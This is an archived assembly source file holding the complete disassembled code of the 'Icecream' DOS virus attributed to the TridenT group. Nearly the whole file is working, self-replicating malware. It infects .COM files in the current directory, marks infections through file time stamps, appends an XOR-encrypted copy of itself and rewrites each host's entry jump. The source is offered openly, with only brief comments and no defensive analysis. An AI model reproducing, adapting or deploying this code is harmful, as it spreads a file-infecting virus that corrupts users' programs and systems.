home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / I.ZIP / ICECREAM.ZIP / ICECREAM.ASM next >
Encoding:
Assembly Source File  |  1993-07-22  |  6.2 KB  |  260 lines

  1. ;Icecream Virus by the TridenT virus research group.
  2.  
  3. ;This is a simple direct-action com virus that uses one of
  4. ;4 encryption algorithms to encrypt itself each time it infects a file.
  5. ;It will infect one .COM file in the current directory every time it is 
  6. ;executed.  It marks infections with the time stamp.
  7.  
  8.  
  9. ;Disassembly by Black Wolf
  10.  
  11. .model tiny                
  12. .code
  13.         org     100h
  14.   
  15. start:
  16.         db      0e9h,0ch,0       ;jmp     Virus_Entry
  17.  
  18. Author_Name     db      'John Tardy'
  19.         
  20.         db      0E2h,0FAh
  21. Virus_Entry:
  22.         push    ax
  23.         call    Get_Offset
  24. Get_Offset:
  25.         pop     ax
  26.         sub     ax,offset Get_Offset
  27.  
  28.         db      89h,0c5h         ;mov     bp,ax
  29.         lea     si,[bp+Storage]
  30.         mov     di,100h                 ;Restore file
  31.         movsw
  32.         movsb
  33.  
  34.         mov     ah,1Ah
  35.         mov     dx,0f900h
  36.         int     21h                     ;Set DTA
  37.                
  38.         mov     ah,4Eh
  39.  
  40. FindFirstNext:
  41.         lea     dx,[bp+ComMask]
  42.         xor     cx,cx
  43.         int     21h                     ;Find File
  44.         jnc     InfectFile
  45.  
  46. Restore_DTA:
  47.         mov     ah,1Ah
  48.         mov     dx,80h
  49.         int     21h                     ;Set DTA to default
  50.                
  51.         mov     bx,offset start
  52.         pop     ax                      ;Return to host
  53.         push    bx
  54.         retn
  55.  
  56. InfectFile:
  57.         mov     ax,4300h
  58.         mov     dx,0f91eh
  59.         int     21h                     ;Get file attribs
  60.               
  61.         push    cx                      ;save 'em
  62.         mov     ax,4301h
  63.         xor     cx,cx
  64.         int     21h                     ;Set them to 0
  65.                
  66.         mov     ax,3D02h
  67.         int     21h                     ;Open file
  68.                
  69.         mov     bx,5700h
  70.         xchg    ax,bx
  71.         int     21h                     ;Get file time
  72.                
  73.         push    cx
  74.         push    dx                      ;save it
  75.         and     cx,1Fh
  76.         cmp     cx,1                    ;check for infection
  77.         jne     ContinueInfection
  78.         db      0e9h,69h,0              ;jmp     DoneInfect
  79.  
  80. ContinueInfection:
  81.         mov     ah,3Fh
  82.         lea     dx,[bp+Storage]
  83.         mov     cx,3
  84.         int     21h                     ;Read in first 3 bytes
  85.                
  86.         mov     ax,cs:[Storage+bp]
  87.         cmp     ax,4D5Ah                ;Is it an EXE?
  88.         je      DoneInfect
  89.         cmp     ax,5A4Dh
  90.         je      DoneInfect              ;Other EXE signature?
  91.         
  92.         pop     dx
  93.         pop     cx
  94.         and     cx,0FFE0h               ;Change stored time values
  95.         or      cx,1                    ;to mark infection
  96.         push    cx
  97.         push    dx
  98.         
  99.         mov     ax,4202h                ;Go to the end of the file
  100.         call    Move_FP
  101.         sub     ax,3
  102.         mov     cs:[JumpSize+bp],ax        ;Save jump size
  103.  
  104.         add     ax,10Fh                    ;Save encryption starting
  105.         mov     word ptr [bp+EncPtr1+1],ax ;point....
  106.         mov     word ptr [bp+EncPtr2+1],ax
  107.         mov     word ptr [bp+EncPtr3+1],ax
  108.         mov     word ptr [bp+EncPtr4+1],ax
  109.         call    SetupEncryption            ;Encrypt virus
  110.  
  111.         mov     ah,40h
  112.         mov     dx,0fa00h
  113.         mov     cx,1F5h
  114.         int     21h                     ;Write virus to file
  115.                
  116.         mov     ax,4200h
  117.         call    Move_FP                 ;Go to the beginning of file
  118.  
  119.         mov     ah,40h        
  120.         lea     dx,[bp+JumpBytes]
  121.         mov     cx,3
  122.         int     21h                     ;Write in jump
  123.                
  124.         call    FinishFile
  125.         jmp     Restore_DTA
  126.  
  127. DoneInfect:
  128.         call    FinishFile
  129.         mov     ah,4Fh
  130.         jmp     FindFirstNext
  131.   
  132. Move_FP:
  133.         xor     cx,cx
  134.         xor     dx,dx
  135.         int     21h
  136.         ret
  137.  
  138. FinishFile:
  139.         pop     si dx cx
  140.         mov     ax,5701h                ;Reset file time/date stamp
  141.         int     21h                     ;(or mark infection)
  142.  
  143.         mov     ah,3Eh
  144.         int     21h                     ;Close new host file
  145.                         
  146.         mov     ax,4301h
  147.         pop     cx
  148.         mov     dx,0fc1eh
  149.         int     21h                     ;Restore old attributes
  150.                
  151.         push    si
  152.         retn
  153.  
  154. Message         db      ' I scream, you scream, we both '
  155.         db      'scream for an ice-cream! '
  156.   
  157. SetupEncryption:
  158.         xor     byte ptr [bp+10Dh],2
  159.         xor     ax,ax
  160.         mov     es,ax
  161.         mov     ax,es:[46ch]            ;Get random number
  162.         push    cs
  163.         pop     es
  164.         push    ax
  165.         and     ax,7FFh
  166.         add     ax,1E9h
  167.         mov     word ptr [bp+EncSize1+1],ax
  168.         mov     word ptr [bp+EncSize2+1],ax
  169.         mov     word ptr [bp+EncSize3+1],ax
  170.         mov     word ptr [bp+EncSize4+1],ax
  171.         pop     ax
  172.         push    ax
  173.         and     ax,3
  174.         shl     ax,1
  175.         mov     si,ax
  176.         mov     ax,[bp+si+EncData1]
  177.         add     ax,bp
  178.         mov     si,ax
  179.         lea     di,[bp+103h] 
  180.         movsw
  181.         movsw
  182.         movsw
  183.         movsw                   ;Copy Encryption Algorithm
  184.         pop     ax
  185.         stosb
  186.         movsb
  187.         mov     dl,al
  188.         lea     si,[bp+103h]
  189.         mov     di,0fa00h   
  190.         mov     cx,0Ch
  191.         rep     movsb       
  192.         lea     si,[bp+10Fh]
  193.         mov     cx,1E9h
  194.   
  195. EncryptVirus:
  196.         lodsb               
  197.         db      30h,0d0h                ;xor     al,dl
  198.         stosb               
  199.         loop    EncryptVirus   
  200.   
  201.         cmp     dl,0
  202.         je      KeyWasZero
  203.         retn
  204.  
  205. KeyWasZero:                                     ;If key is zero, increase
  206.         mov     si,offset AuthorName    ;jump size and place name
  207.         mov     di,0fa00h               ;at beginning....
  208.         mov     cx,0Ah
  209.         rep     movsb           
  210.         mov     ax,cs:[JumpSize+bp]
  211.         add     ax,0Ch
  212.         mov     cs:[JumpSize+bp],ax
  213.         retn
  214.  
  215.         db      '[TridenT]'
  216.         
  217. EncData1        dw      02beh
  218. EncData2        dw      02c7h
  219. EncData3        dw      02d0h
  220. EncData4        dw      02d9h
  221.  
  222. Encryptions:                                
  223. ;------------------------------------------------------------                
  224. EncPtr1:
  225.         mov     si,0
  226. EncSize1:
  227.         mov     cx,0
  228.         xor     byte ptr [si],46h
  229. ;------------------------------------------------------------                
  230. EncPtr2:                
  231.         mov     di,0
  232. EncSize2:
  233.         mov     cx,0
  234.         xor     byte ptr [di],47h
  235. ;------------------------------------------------------------
  236. EncSize3:
  237.         mov     cx,0
  238. EncPtr3:                
  239.         mov     si,0
  240.         xor     byte ptr [si],46h
  241. ;------------------------------------------------------------                
  242. EncSize4:
  243.         mov     cx,0
  244. EncPtr4:                
  245.         mov     di,0
  246.         xor     byte ptr [di],47h
  247. ;------------------------------------------------------------                
  248.  
  249. AuthorName      db      'John Tardy'
  250.  
  251. JumpBytes       db      0E9h
  252. JumpSize        dw      0               
  253.  
  254. ComMask         db      '*.CoM',0
  255.  
  256. Storage         dw      20CDh           
  257.         db      21h
  258.  
  259. end     start
  260.